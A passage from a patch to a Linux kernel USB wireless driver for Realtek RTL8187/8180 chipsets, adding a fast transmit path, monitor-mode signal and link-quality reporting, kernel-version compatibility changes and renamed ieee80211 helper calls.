4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1480,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1497,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1596,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1607,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1628,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1655,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1682,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1723,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1770,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1830,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1878,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1887,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1970,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2005,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2034,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2124,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2190,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2213,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2227,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2271,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2410,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2428,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2448,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2459,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2472,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2582,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2601,20 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2623,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2671,13 @@ struct r8180_priv *priv; struct net_device 